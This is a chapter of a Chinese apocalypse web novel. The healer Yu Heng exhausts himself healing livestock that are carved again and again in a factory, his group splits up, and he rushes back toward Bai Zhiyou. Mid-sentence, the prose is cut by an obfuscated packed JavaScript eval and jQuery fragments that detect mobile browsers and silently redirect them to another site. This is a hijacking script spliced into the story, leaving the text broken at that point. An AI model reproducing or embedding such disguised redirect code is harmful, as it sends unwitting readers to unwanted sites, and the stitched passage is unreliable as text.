他们没能开出太远，只不过十几公里，确认身后没有人追来就停住了，藏在一片树林里面。受伤的人需要治疗。
郑思从没见过俞衡这样疲惫。
他一路上受过重伤，也多次在为治疗中精疲力竭，可都没有像现在这样，是一种发自内心的憔悴。
他的治愈竟然不知道在哪里用尽了，只替被抓伤的人止住了血，就再也挤不出一星半点。他的指尖在颤抖，可治疗并不需要使用身体上的力气，这更像是一种恐惧或怀疑。
“你怎么了？白知宥呢？”在俞衡治疗的间隙，郑思问道。
“我们分开走了。”俞衡说话仿佛都会用尽力气，从口袋中掏出几支营养剂，“给大家分一分吧。”
他语焉不详，郑思微微有些发愣，不知道是“分开走”，还是“分开了”。可是看着俞衡的神情，耗空的异能，她仿佛有了答案。
“你从哪里得到的这些东西？原来的钱还能用吗？”
俞衡摇摇头。“都不能了，带过去的钱没有用处了。原本黄金还可以流通，但是后来出现了能点石成金的人……”
众人一阵无力的寂静。原有的价值体系消失了，现在是战力至上的时代。
她回头，看到钟奶奶的眼神中满是自责。都是为了他们这群人，俞衡才失去了本可以优渥的生活。
小羊喝下了他们两人的营养剂，精神稍微好了些。可下一秒，她就看到对方的脸色变得慌张，看着她的身后。
她转过身去，就见原本想要出去透透气的俞衡，踏出车门的时候身形一歪，终于又倒了下去，滚落在地。
俞衡似乎做了什么梦，但里面没有什么具象的东西，一片混乱，只有哀嚎声持续不断，异常清晰。
营养剂，是他和白知宥分开之后，转头又回到了工厂挣的。他的时间不多，怕众人没有吃的，怕白知宥找不到他会生气，来不及多干一会，只能选收益最大的，干了几个小时。
赶往肉类工厂的路上，他脑中盘旋着和白知宥的几句对话。
白天一同去看的时候，俞衡随口感叹了一句。“原来治疗异能这么多吗？据说获得什么异能，和本人的意愿是有关的。我没想到有这么多愿意救死扶伤的人。”
但很快，他自己就想到了漏洞。“不对，大概是怕自己死的人比较多吧。”
“怕自己死，已经是不错的了。更差的，是对自己的生命无所谓，却愿意为了所有外人付出一切的人。”
“……为什么？”俞衡微微皱起眉头，不理解女孩的观点。
“保持善意，或许是好事，但有些人不加保留的‘善意’，实则是一种懒惰。”白知宥偏过头，“那是对自己的未来没有规划，靠着别人的需求生存。对外界保持警惕，具备辨别的意识、保护自己的能力，比摊开自己任由外界侵犯更难。末日太过艰难，死比活容易。”白知宥有些低沉，仿佛想到了什么不好的回忆。
“……你是想起什么了吗？”
“没有，”白知宥干脆地回答，“走吧。”
自己是不是她所说的那种人？俞衡产生了怀疑。但很多事，是不得不做的。有些人，比如说钟奶奶，原本没有卫星电话，不知道有曙光基地。如果自己没有给他们建议，把他们带来这里，或许他们面临的情景会比现在更好。这就是自己的责任，他至少要处理到让自己问心无愧。
白知宥说她不会在基地过夜，和那些人去处理好就回去找他。俞衡看着完全黑下来的天色，咬咬牙，踏进了工厂。
可他没想到，展现在面前的，是一副地狱一般的场景。去过工厂，他这才知道为什么肉类比蔬菜便宜。
动物的嘶鸣仿佛就在眼前——肉被生生从牛身上割下，而他们治疗者的任务是迅速将它复原，催生出新的血肉。这就是一场永无止境的凌迟，只不过对象是猪牛羊。而在这里工作，更像是对异能者精神上的折磨，他们原本承担治愈的角色，但在这里，却成了持续折磨牲畜的恶魔。
“你不干自然有人干，”看出他要走，不耐烦的管理员扔下一句话，“既然登记了就别浪费别人的时间。”
他只能走上工位，面前牵上一头健康的牛，纯黑的眼珠，干净的皮肤。
下一秒，刀子便落了下来，对自己的命运一无所知的动物，下一瞬便拼命嘶叫了起来，它的腿被割到可见白骨，鲜血汩汩淌了一地。
牛倒了下去，而他能做的，只有尽快替它治疗，血肉迅速合拢，但随后，又是一刀。
“二茬肉，嫩一点，但也有人不喜欢这种异能催生的肉。”带着面罩的刽子手瓮声瓮气地说。
他眼里只有伤痛不已的牛，迅速补上异能替它复原。
绳索让它们连挣扎都做不到，伤口虽然复原，但动物不能这么快理解，痛苦依旧存在。
又一刀下去，伤口在他的手下再次恢复，终于，机器吊着牛离开。“再割下去，就算身体没事，牛也会不吃不喝到死。”他的搭档轻描淡写道。
短短几个小时，俞衡精疲力竭。
-
“在那里，俞衡在那里！”声音在寂静的夜里能够传得很远，宁彦听到远处呼喊名字和打斗的声音，恨不得跳起来，冲男人吼道。
“闭嘴。”男人一个眼神，让他忍不住发抖，可表情依旧仿佛陷入癫狂。“快去，杀了他们。”
男人吐出一口烟雾。附近营地的这些伎俩，他一直都清楚。他是个亡命之徒，城外的这处营地又没有放什么值钱的东西，所以那群人只当他不存在。可他但却没想到这群人竟然刚巧自投罗网。
他想到了那个A级的异能者，嗤笑一声。“怪胎，一个女的，有一个这种奇怪的异能。”他有些后怕。
“我没听到白知宥用异能的的声音，她不在里面，那些人没了她根本无法反抗，”宁彦痛快地笑了起来，“是上次的计划生效了。宁家已经准备好了，白知宥，她终究是我的人。”
男人打量了宁彦一番，一路上被折磨得有些精神崩溃，他白天已经和宁家联系上了，钱财——或者说是赎金——已经到手，还宽宏地允许他们通了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451651|185029||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
电话。
宁彦似乎想到了什么似的，扑过去：“卫星电话！给我，让我和家里再打个电话……”
既然已经这桩任务马上就要了结，男人便松松手，将电话递了出去。
-
俞衡再次睁开眼，看到的是车内染上了污渍的顶棚。
他挪动身子的声音惊扰了旁边的人，他伸过头来看俞衡是否睁开了眼睛——是孙凯。
“你醒了。”孙凯笑了笑，表情让俞衡觉得有些不一样。
他揉揉额头。车外还是黑色一片。
“大家都去休息了……有些事我们商量好了，想对你说。”
“你说吧。”俞衡看着他说道。
“我们得分开了。刘玉庆想去基地里面，不管干点什么，混个生活。郑思想离开，她觉得这里没有非异能者的生路。”
俞衡点了点头，这些选择都正常。
“我……”孙凯不好意思地挠了挠头，“吕菲想和郑思一起走，但是我让她留下。你说里面有通过接外出任务挣钱的地方，我大概还能干，可以养她们娘俩。”
这一点，大概大家都没有看出来。俞衡也有些惊讶，但在他现在的心里只不过一阵微风拂过水面。
“钟奶奶他们呢？”
“郑思说可以带他们一起。”
俞衡发觉自己竟然卑劣地松了一口气。对于无人供养的非异能者，这是唯一的办法。
如果他有钱，他可以尽量接济祖孙俩，可如果说把余生都消耗在屠宰场，去承担自己的善心……他从心底感受到绝望。
更何况，他自己也就快没有明天了。“那让我替你们彻底治疗好吧。”他说道，孙凯于是转过身来，露出背后的伤。
俞衡熟练地运用起异能，竟然出乎意料地充沛。他一怔，感受自己体内，虽然身体饥饿异常，但异能竟然已经回复了大半。
他猛地转过头去。“我睡了多久？”
“你几乎是昏过去了，一整个白天都没有醒过来，”孙凯回答道，“现在是第二天的晚上。”
俞衡的瞳孔瞬间放大，起身去拉车门，踉踉跄跄地看向天空。
其他人见他下车，也走了下来。可俞衡没有时间去听众人的关心，那些话仿佛没能被他的耳朵接收到，他勉强地笑笑，拨开众人，走上自己开的车。“我得走了。”
很快，众人被他落在身后，两旁的风景迅速后退，他才意识到，早就已经赶不及了。既然如此，他可以至少等一分钟，和众人道个别，有些人今后都不会再见到了。
他总是在顾此失彼。可如今，他只有冲向前。
原来的营地很危险，俞衡不是不清楚，可他只有朝那个地方冲去。原本的帐篷和箱子都已经被搜刮一空，如今留下的只有破破烂烂的废品。
他心下一沉。地面有破土的痕迹，蜿蜿蜒蜒，是白知宥的异能。他仿佛看到了愤怒的女孩，以为他趁机和众人一起逃了，违背了承诺和誓言。
俞衡停顿了几秒，调转车头，朝基地的方向开去。